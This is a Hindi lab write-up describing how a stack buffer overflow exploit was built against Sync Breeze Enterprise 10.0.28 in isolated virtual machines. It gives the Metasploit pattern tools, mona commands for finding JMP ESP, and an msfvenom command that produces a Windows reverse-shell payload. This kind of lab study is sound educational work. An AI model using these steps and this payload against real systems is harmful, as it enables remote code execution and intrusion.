
शैक्षणिक उद्देश्यों के लिए एक नियंत्रित प्रयोगशाला वातावरण में क्लासिक स्टैक-आधारित बफर ओवरफ्लो भेद्यता का अध्ययन।
नियंत्रित प्रयोगशाला वातावरण में शैक्षिक उद्देश्यों के लिए एक क्लासिक स्टैक-आधारित बफर ओवरफ्लो भेद्यता का अध्ययन।
इस परियोजना का उद्देश्य निम्नलिखित को बेहतर ढंग से समझना था:
पहला चरण भेद्यता अनुसंधान और एक्सप्लॉइट विकास उद्देश्यों के लिए
कॉन्फ़िगर की गई Windows 10 वर्चुअल मशीन के अंदर
Sync Breeze Enterprise 10.0.28 स्थापित करना था।
सुरक्षित और नियंत्रित परीक्षण सुनिश्चित करने के लिए वातावरण को अलग किया गया था।
दोनों वर्चुअल मशीनों (लक्ष्य और हमलावर) को ब्रिज्ड नेटवर्क एडेप्टर मोड का उपयोग करके कॉन्फ़िगर किया गया था, ताकि एक्सप्लॉइटेशन प्रक्रिया के दौरान सिस्टमों के बीच सीधा नेटवर्क संचार संभव हो सके।


रनटाइम के दौरान एप्लिकेशन व्यवहार का विश्लेषण करने और क्रैश स्थितियों का निरीक्षण करने के लिए डिबगिंग उपकरण कॉन्फ़िगर किए गए थे।
क्रैश ट्रिगर करने के लिए आवश्यक अनुमानित बफर आकार की पहचान करने हेतु एप्लिकेशन को बाइट्स के बड़े अनुक्रम भेजे गए।
क्रैश सीमा की पहचान करने के बाद, भेद्यता की पुष्टि के लिए एप्लिकेशन का परीक्षण खोजे गए पेलोड आकार का उपयोग करके फिर से किया गया।
इंस्ट्रक्शन पॉइंटर (EIP) को अधिलेखित करने के लिए आवश्यक सटीक ऑफसेट की पहचान की गई।
एक अद्वितीय पैटर्न उत्पन्न करें:
/usr/bin/msf-pattern_create -l <SIZE>
ऑफसेट की पहचान करें:
/usr/bin/msf-pattern_offset -l <SIZE> -q <EIP_VALUE>
जहां:
<SIZE> = फज़िंग के दौरान खोजी गई पेलोड लंबाई<EIP_VALUE> = EIP को अधिलेखित करते हुए देखा गया 4-बाइट मान
यह निर्धारित करने के लिए बैड कैरेक्टर की पहचान की गई कि कौन से बाइट्स एप्लिकेशन द्वारा सुरक्षित रूप से संसाधित नहीं किए जा सकते।
ASLR सक्षम न होने वाले मॉड्यूल में एक उपयुक्त JMP ESP निर्देश
खोजा गया।
लोड किए गए मॉड्यूल की गणना:
!mona modules
JMP ESP की खोज:
!mona find -s "\xff\xe4" -m <MODULE_NAME>
स्थिर मेमोरी एड्रेस की उपस्थिति के कारण एप्लिकेशन-विशिष्ट DLL को प्राथमिकता दी गई।

नियंत्रित बफर में सही पुनर्निर्देशन सुनिश्चित करने के लिए पेलोड निष्पादन प्रवाह को मान्य किया गया।
पहले पहचाने गए बैड कैरेक्टर को छोड़कर शेलकोड उत्पन्न किया गया।
msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<PORT> EXITFUNC=thread -b "BAD_CHARS" -f c
पेलोड निष्पादन विश्वसनीयता में सुधार के लिए शेलकोड से पहले
एक NOP स्लेड (\x90) जोड़ा गया।

अंतिम एक्सप्लॉइट को अलग प्रयोगशाला वातावरण में सफलतापूर्वक असेंबल और परीक्षण किया गया।
यह परियोजना विशेष रूप से शैक्षिक और अनुसंधान उद्देश्यों के लिए एक अलग प्रयोगशाला वातावरण में विकसित की गई थी।